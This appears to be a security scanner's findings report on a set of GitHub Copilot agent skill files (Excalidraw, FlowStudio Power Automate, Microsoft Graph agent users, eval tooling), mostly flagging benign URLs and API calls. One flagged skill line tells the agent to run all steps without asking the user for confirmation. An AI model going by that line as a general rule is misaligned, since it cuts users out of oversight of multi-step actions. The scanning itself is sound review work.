    PUT https://graph.microsoft.com/beta/users/{agent-user-id}/manager/$ref
  • Network accessline 160
    {   "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}"
  • Network accessline 161
    "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}"
  • Network accessline 168
    $managerBody = '{"@odata.id":"https://graph.microsoft.com/beta/users/<manager-user-id>"}'
  • Network accessline 169
    Invoke-MgGraphRequest -Method PUT    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref"
  • Network accessline 170
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" `
  • Network accessline 183
    PATCH https://graph.microsoft.com/beta/users/{agent-user-id}
  • Network accessline 195
    GET https://graph.microsoft.com/beta/subscribedSkus?$select=skuPartNumber,skuId,consumedUnits,prepaidUnits
  • Network accessline 204
    POST https://graph.microsoft.com/beta/users/{agent-user-id}/assignLicense
  • Network accessline 221
    # Set usage location Invoke-MgGraphRequest -Method PATCH `   -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" `
  • Network accessline 222
    Invoke-MgGraphRequest -Method PATCH    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>"
  • Network accessline 223
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" `
  • Network accessline 227
    $licenseBody = '{"addLicenses":[{"skuId":"<sku-id>"}],"removeLicenses":[]}' Invoke-MgGraphRequest -Method POST `   -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" `
  • Network accessline 228
    Invoke-MgGraphRequest -Method POST    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense"
  • Network accessline 229
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" `
  • Network accessline 303
    - [ ] The parent `identityParentId` was verified as `#microsoft.graph.agentIdentity` with `servicePrincipalType: ServiceIdentity`. - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not includ
  • Network accessline 304
    - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not include a password.
  • Network accessline 312
    - [Agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-identities)
  • Network accessline 313
    - [Agent users](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-users)
  • Network accessline 314
    - [Agent service principals](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-service-principals)
  • Network accessline 315
    - [Create agent identity blueprint](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-blueprint)
  • Network accessline 316
    - [Create agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-delete-agent-identities)
  • Network accessline 317
    - [agentUser resource type (Graph API)](https://learn.microsoft.com/en-us/graph/api/resources/agentuser?view=graph-rest-beta)
  • Network accessline 318
    - [Create agentUser (Graph API)](https://learn.microsoft.com/en-us/graph/api/agentuser-post?view=graph-rest-beta)

harness/github-copilot/skills/eval-driven-dev/SKILL.md

  • Network accessline 10
    metadata:   compatibility: "Python 3.10+"   pixie-qa-source: "https://github.com/yiouli/pixie-qa/"
  • Network accessline 11
    compatibility: "Python 3.10+"   pixie-qa-source: "https://github.com/yiouli/pixie-qa/"   pixie-qa-version: ">=0.8.4,<0.9.0"
  • Network accessline 12
    pixie-qa-source: "https://github.com/yiouli/pixie-qa/"
  • Instruction override signalline 60
    Follow Steps 1–6 straight through without stopping. Do not ask the user for confirmation at intermediate steps — verify each step yourself and continue.
  • Network accessline 263
    - https://github.com/yiouli/pixie-qa/

harness/github-copilot/skills/eval-driven-dev/references/runnable-examples/fastapi-web-server.md

  • Network accessline 30
    transport = httpx.ASGITransport(app=app)
  • Network accessline 31
    self._client = httpx.AsyncClient(transport=transport, base_url="http://test")
  • Network accessline 55
    transport = httpx.ASGITransport(app=app_module.app)
  • Network accessline 56
    self._client = httpx.AsyncClient(transport=transport, base_url="http://test")
  • Network accessline 83
    async def setup(self) -> None:         from myapp.main import app         transport = httpx.ASGITransport(app=app)
  • Network accessline 84
    from myapp.main import app         transport = httpx.ASGITransport(app=app)         self._client = httpx.AsyncClient(transport=transport, base_url="http://test")
  • Network accessline 85
    transport = httpx.ASGITransport(app=app)
  • Network accessline 86
    self._client = httpx.AsyncClient(transport=transport, base_url="http://test")
  • Network accessline 110
    async def setup(self) -> None:         # Assumes the server is already running (started via run-with-timeout.sh)         self._client = httpx.AsyncClient(base_url="http://localhost:8000")
  • Network accessline 112
    self._client = httpx.AsyncClient(base_url="http://localhost:8000")

harness/github-copilot/skills/eval-driven-dev/references/wrap-api.md

  • Network accessline 133
    async def setup(self) -> None:         self._client = httpx.AsyncClient(base_url="http://localhost:8000")
  • Network accessline 134
    self._client = httpx.AsyncClient(base_url="http://localhost:8000")

harness/github-copilot/skills/eval-driven-dev/resources/setup.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/eval-driven-dev/resources/verify_step6_completion.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/excalidraw-diagram-generator/SKILL.md

  • Network accessline 21
    - Require a clear description of what should be visualized, including key entities, steps, concepts, relationships, and flow. - If the request has too many elements, propose multiple diagrams before generating a crowded file. - Save output 
  • Network accessline 23
    - Save output as `<descriptive-name>.excalidraw`; users can open it at https://excalidraw.com by drag-and-drop, File → Open, or the Excalidraw VS Code extension.
  • Network accessline 41
    Generate complete JSON with `type: "excalidraw"`, `version: 2`, `source: "https://excalidraw.com"`, an `elements` array, `appState.viewBackgroundColor: "#ffffff"`, `appState.gridSize: 20`, and `files: {}`.
  • Network accessline 45
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 46
    "version": 2,   "source": "https://excalidraw.com",   "elements": [],
  • Network accessline 47
    "source": "https://excalidraw.com",
  • Network accessline 182
    ### To view 1. Visit https://excalidraw.com
  • Network accessline 183
    1. Visit https://excalidraw.com
  • Network accessline 200
    - [Excalidraw](https://excalidraw.com)

harness/github-copilot/skills/excalidraw-diagram-generator/references/excalidraw-schema.md

  • Network accessline 9
    type: "excalidraw";   version: number;           // Always 2   source: string;            // "https://excalidraw.com"
  • Network accessline 10
    version: number;           // Always 2   source: string;            // "https://excalidraw.com"   elements: ExcalidrawElement[];
  • Network accessline 11
    source: string;            // "https://excalidraw.com"
  • Network accessline 306
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 307
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 308
    "source": "https://excalidraw.com",

harness/github-copilot/skills/excalidraw-diagram-generator/references/icon-libraries.md

  • Network accessline 20
    1. Visit https://libraries.excalidraw.com/    2. Search for "[AWS Architecture Icons/etc.]" and download the .excalidrawlib file
  • Network accessline 41
    **Step 2: Download Library ** - Visit: https://libraries.excalidraw.com/
  • Network accessline 42
    - Visit: https://libraries.excalidraw.com/ - Search for your desired icon set (e.g., "AWS Architecture Icons") - Click download to get the `.excalidrawlib` file
  • Network accessline 271
    - This workflow works with any valid `.excalidrawlib` file you provide. - Examples of library categories you may find on https://libraries.excalidraw.com/:
  • Network accessline 272
    - Examples of library categories you may find on https://libraries.excalidraw.com/:

harness/github-copilot/skills/excalidraw-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/excalidraw-diagram-generator/scripts/README.md

  • Network accessline 27
    2. **Download and place library file**:    - Visit: https://libraries.excalidraw.com/
  • Network accessline 28
    - Visit: https://libraries.excalidraw.com/    - Search for "AWS Architecture Icons" and download the `.excalidrawlib` file    - Rename it to match the directory name: `aws-architecture-icons.excalidrawlib`
  • Network accessline 70
    1. Download desired Excalidraw libraries from https://libraries.excalidraw.com/
  • Network accessline 77
    - Examples found on https://libraries.excalidraw.com/ may include cloud/service icon sets.

harness/github-copilot/skills/excalidraw-diagram-generator/scripts/add-arrow.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/excalidraw-diagram-generator/scripts/add-icon-to-diagram.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/excalidraw-diagram-generator/scripts/split-excalidraw-library.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/excalidraw-diagram-generator/templates/business-flow-swimlane-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/skills/excalidraw-diagram-generator/templates/class-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
  • Network accessline 3
    "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",   "elements": [
  • Network accessline 4
    "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",

harness/github-copilot/skills/excalidraw-diagram-generator/templates/data-flow-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/skills/excalidraw-diagram-generator/templates/er-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/skills/excalidraw-diagram-generator/templates/flowchart-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/skills/excalidraw-diagram-generator/templates/mindmap-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
  • Network accessline 3
    "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",   "elements": [
  • Network accessline 4
    "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",

harness/github-copilot/skills/excalidraw-diagram-generator/templates/relationship-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/skills/excalidraw-diagram-generator/templates/sequence-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/skills/eyeball/tools/eyeball.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 567
    [Credential-related source omitted]
  • Access to secretsline 572
    [Credential-related source omitted]

harness/github-copilot/skills/finnish-humanizer/SKILL.md

  • Network accessline 115
    - [Hakku/finnish-humanizer](https://github.com/Hakku/finnish-humanizer)

harness/github-copilot/skills/flowstudio-power-automate-build/SKILL.md

  • Network accessline 21
    - A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app
  • Network accessline 22
    - Use the MCP endpoint `https://mcp.flowstudio.app/mcp` with a valid JWT in `MCP_TOKEN`; never commit `YOUR_JWT_TOKEN`.
  • Network accessline 31
    3. Resolve connections. Call `list_live_connections(environmentName=ENV)` before asking the user for anything. Keep only `statuses[0].status == "Connected"`, build `conn_map = {connectorName: id}`, and use `search="shared_sharepointonline"`
  • Network accessline 32
    4. Build `connection_references` and `host_templates`. `connectionReferences[connector].connectionName` holds the GUID from `list_live_connections`; each action's `inputs.host.connectionName` or `host.connectionName` uses the map key such a
  • Network accessline 33
    5. Construct the workflow definition with `$schema: "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"`, `contentVersion: "1.0.0.0"`, `triggers`, `actions`, and optional `definition["
  • Network accessline 141
    - [FlowStudio MCP subscription](https://mcp.flowstudio.app)
  • Network accessline 142
    - [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp)
  • Network accessline 143
    - [Logic Apps workflow definition schema](https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#)

harness/github-copilot/skills/flowstudio-power-automate-build/references/action-patterns-connectors.md

  • Network accessline 26
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 27
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 28
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 70
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 71
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 72
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 100
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 101
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 102
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 124
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 125
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 126
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 153
    "connectionName": "<connectionName>", "operationId": "CreateFile" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 154
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "folderPath": "/My Library/Subfolder",
  • Network accessline 155
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 167
    "connectionName": "<connectionName>", "operationId": "GetFileMetadataByPath" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 168
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "path": "/My Library/Subfolder/@{variables('filename')}"
  • Network accessline 169
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 179
    "connectionName": "<connectionName>", "operationId": "UpdateFile" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 180
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "id": "@outputs('Get_File_Metadata_By_Path')?['body/{Identifier}']",
  • Network accessline 181
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 222
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 223
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "<list-guid>",
  • Network accessline 224
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 269
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/target-site",
  • Network accessline 270
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/target-site",       "parameters/method": "POST",
  • Network accessline 271
    "dataset": "https://mytenant.sharepoint.com/sites/target-site",
  • Network accessline 315
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 316
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "id": "%252fShared%2bDocuments%252fdata.json",
  • Network accessline 317
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/github-copilot/skills/flowstudio-power-automate-build/references/action-patterns-core.md

  • Network accessline 170
    "inputs": {         "method": "GET",         "uri": "https://api.example.com/customers/@{variables('customerId')}"
  • Network accessline 171
    "method": "GET",         "uri": "https://api.example.com/customers/@{variables('customerId')}"       }
  • Network accessline 172
    "uri": "https://api.example.com/customers/@{variables('customerId')}"
  • Network accessline 233
    "inputs": {         "method": "POST",         "uri": "https://api.example.com/contacts/@{item()?['Email']}"
  • Network accessline 234
    "method": "POST",         "uri": "https://api.example.com/contacts/@{item()?['Email']}"       }
  • Network accessline 235
    "uri": "https://api.example.com/contacts/@{item()?['Email']}"
  • Network accessline 364
    "Start_Job": {   "type": "Http",   "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" }
  • Network accessline 365
    "type": "Http",   "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } },
  • Network accessline 366
    "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" }
  • Network accessline 384
    "type": "Http",       "runAfter": { "Delay": ["Succeeded"] },       "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }
  • Network accessline 385
    "runAfter": { "Delay": ["Succeeded"] },       "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }     },
  • Network accessline 386
    "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" }
  • Network accessline 435
    "type": "Http",   "runAfter": {},   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" }
  • Network accessline 436
    "runAfter": {},   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } },
  • Network accessline 437
    "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" }
  • Network accessline 440
    "type": "Http",   "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] },   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }
  • Network accessline 441
    "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] },   "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } }
  • Network accessline 442
    "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }

harness/github-copilot/skills/flowstudio-power-automate-build/references/action-patterns-data.md

  • Network accessline 312
    "inputs": {     "method": "POST",     "uri": "https://api.example.com/endpoint",
  • Network accessline 313
    "method": "POST",     "uri": "https://api.example.com/endpoint",     "headers": {
  • Network accessline 314
    "uri": "https://api.example.com/endpoint",
  • Network accessline 342
    "inputs": {     "method": "GET",     "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",
  • Network accessline 343
    "method": "GET",     "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",     "headers": {
  • Network accessline 344
    "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName",
  • Network accessline 349
    "authentication": {       "type": "ActiveDirectoryOAuth",       "authority": "https://login.microsoftonline.com",
  • Network accessline 350
    "type": "ActiveDirectoryOAuth",       "authority": "https://login.microsoftonline.com",       "tenant": "<tenant-id>",
  • Network accessline 351
    "authority": "https://login.microsoftonline.com",
  • Network accessline 352
    "tenant": "<tenant-id>",       "audience": "https://graph.microsoft.com",       "clientId": "<app-registration-id>",
  • Network accessline 353
    "audience": "https://graph.microsoft.com",
  • Network accessline 429
    "inputs": {     "method": "POST",     "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",
  • Network accessline 430
    "method": "POST",     "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",     "headers": { "Content-Type"
  • Network accessline 431
    "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",

harness/github-copilot/skills/flowstudio-power-automate-build/references/build-patterns.md

  • Network accessline 28
    },         "parameters": {           "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 29
    "parameters": {           "dataset": "https://mytenant.sharepoint.com/sites/mysite",           "table": "MyList",
  • Network accessline 30
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/github-copilot/skills/flowstudio-power-automate-build/references/flow-schema.md

  • Network accessline 10
    {   "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 11
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 210
    {   "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 211
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",

harness/github-copilot/skills/flowstudio-power-automate-build/references/trigger-types.md

  • Network accessline 140
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 141
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList"
  • Network accessline 142
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 146
    "body": { "notificationUrl": "@listCallbackUrl()" },       "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 147
    "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",         "table": "MyList"
  • Network accessline 148
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 170
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 171
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList"
  • Network accessline 172
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 176
    "body": { "notificationUrl": "@listCallbackUrl()" },       "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 177
    "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",         "table": "MyList"
  • Network accessline 178
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/github-copilot/skills/flowstudio-power-automate-debug/SKILL.md

  • Network accessline 21
    - A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app
  • Network accessline 22
    - Use `https://mcp.flowstudio.app/mcp`, `MCP_URL`, `MCP_TOKEN`, and a valid `YOUR_JWT_TOKEN`; never commit the token.
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 134
    - [FlowStudio MCP subscription](https://mcp.flowstudio.app)
  • Network accessline 135
    - [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp)
  • Network accessline 136
    - [Expression error in child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md)
  • Network accessline 137
    - [Data entry, not a flow bug](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md)
  • Network accessline 138
    - [Null value crashes child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md)

harness/github-copilot/skills/flowstudio-power-automate-governance/SKILL.md

  • Network accessline 4
    Govern Power Automate flows and Power Apps at scale with the FlowStudio MCP cached store by classifying business impact, detecting orphaned resources, auditing connectors, enforcing compliance metadata, configuring notification rules, and c
  • Network accessline 5
    metadata:   source: "https://mcp.flowstudio.app." ---
  • Network accessline 6
    source: "https://mcp.flowstudio.app."
  • Network accessline 23
    - Requires FlowStudio for Teams or MCP Pro+ because `store_*` tools require a paid cached-store subscription. If the first `store_*` call returns 403 or 404, stop store calls, tell the user governance features require Pro+ access, and point
  • Network accessline 134
    - [ ] Existing `tags` are read before appended tags are written. - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported wit
  • Network accessline 135
    - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - [ ] The report distinguish
  • Network accessline 136
    - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing
  • Network accessline 141
    - [FlowStudio MCP](https://mcp.flowstudio.app.)
  • Network accessline 142
    - [FlowStudio pricing](https://mcp.flowstudio.app/pricing)

harness/github-copilot/skills/flowstudio-power-automate-mcp/SKILL.md

  • Network accessline 21
    - Requires a FlowStudio MCP subscription or compatible Power Automate MCP server: https://mcp.flowstudio.app.
  • Network accessline 22
    - MCP endpoint: `https://mcp.flowstudio.app/mcp`.
  • Network accessline 82
    Use Python with `urllib.request` when you want a dependency-free helper. Use Node.js 18+ when the repository is JavaScript or TypeScript and native `fetch`, `JSON.stringify`, and `JSON.parse` fit the stack. Avoid PowerShell for flow operati
  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 90
    MCP = "https://mcp.flowstudio.app/mcp"
  • Network accessline 93
    payload = {"jsonrpc": "2.0", "method": "tools/call", "id": cid,                "params": {"name": tool, "arguments": args}}     req = urllib.request.Request(MCP, data=json.dumps(payload).encode(),
  • Network accessline 94
    [Credential-related source omitted]
  • Network accessline 95
    req = urllib.request.Request(MCP, data=json.dumps(payload).encode(),
  • Network accessline 97
    "User-Agent": "FlowStudio-MCP/1.0"})     try:         resp = urllib.request.urlopen(req, timeout=120)
  • Network accessline 98
    try:         resp = urllib.request.urlopen(req, timeout=120)     except urllib.error.HTTPError as e:
  • Network accessline 99
    resp = urllib.request.urlopen(req, timeout=120)
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 114
    const MCP = "https://mcp.flowstudio.app/mcp";
  • Network accessline 121
    params: { name: tool, arguments: args },   };   const res = await fetch(MCP, {
  • Network accessline 122
    };   const res = await fetch(MCP, {     method: "POST",
  • Network accessline 123
    const res = await fetch(MCP, {
  • Network accessline 158
    | Symptom | Likely cause | Resolution | | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. |
  • Network accessline 159
    | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | | HTTP `400` | Malformed JSON-RPC payload. | Check `Cont
  • Network accessline 160
    | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. |
  • Network accessline 223
    **Status:** connected | needs auth | blocked **Endpoint:** `https://mcp.flowstudio.app/mcp`
  • Network accessline 224
    **Endpoint:** `https://mcp.flowstudio.app/mcp`
  • Network accessline 243
    - [ ] The MCP endpoint is `https://mcp.flowstudio.app/mcp`.
  • Network accessline 252
    - FlowStudio MCP: https://mcp.flowstudio.app
  • Network accessline 253
    - FlowStudio MCP endpoint: https://mcp.flowstudio.app/mcp
  • Network accessline 254
    - FlowStudio MCP subscription page: https://mcp.flowstudio.app.
  • Network accessline 255
    - Expression error in child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md
  • Network accessline 256
    - Data entry, not a flow bug: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md
  • Network accessline 257
    - Null value crashes child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md

harness/github-copilot/skills/flowstudio-power-automate-mcp/references/MCP-BOOTSTRAP.md

  • Network accessline 6
    Endpoint:  https://mcp.flowstudio.app/mcp

harness/github-copilot/skills/flowstudio-power-automate-monitoring/SKILL.md

  • Network accessline 26
    > 1. STOP calling store tools > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing
  • Network accessline 27
    > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing > 4. If their question can be answered with live tools (e.g. "list flows in
  • Network accessline 28
    > 3. Link them to https://mcp.flowstudio.app/pricing
  • Network accessline 59
    **Enabling monitoring:** Set `monitor: true` via `update_store_flow` or the Flow Studio for Teams app ([how to select flows](https://learn.flowstudio.app/teams-monitoring)).
  • Network accessline 61
    ([how to select flows](https://learn.flowstudio.app/teams-monitoring)).
  • Network accessline 124
    "state": "Started",     "triggerType": "Request",     "triggerUrl": "https://{example-url}",
  • Network accessline 125
    "triggerType": "Request",     "triggerUrl": "https://{example-url}",     "tags": ["#operations", "#sensitive"],
  • Network accessline 126
    "triggerUrl": "https://{example-url}",
  • Network accessline 400
    - [ ] `name` is `flowstudio-power-automate-monitoring` and matches the parent directory. - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing .
  • Network accessline 401
    - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing .
  • Network accessline 410
    - [FlowStudio pricing](https://mcp.flowstudio.app/pricing)
  • Network accessline 411
    - [Flow Studio Teams monitoring](https://learn.flowstudio.app/teams-monitoring)

harness/github-copilot/skills/foundry-agent-sync/SKILL.md

  • Network accessline 55
    2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID,
  • Network accessline 56
    3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c
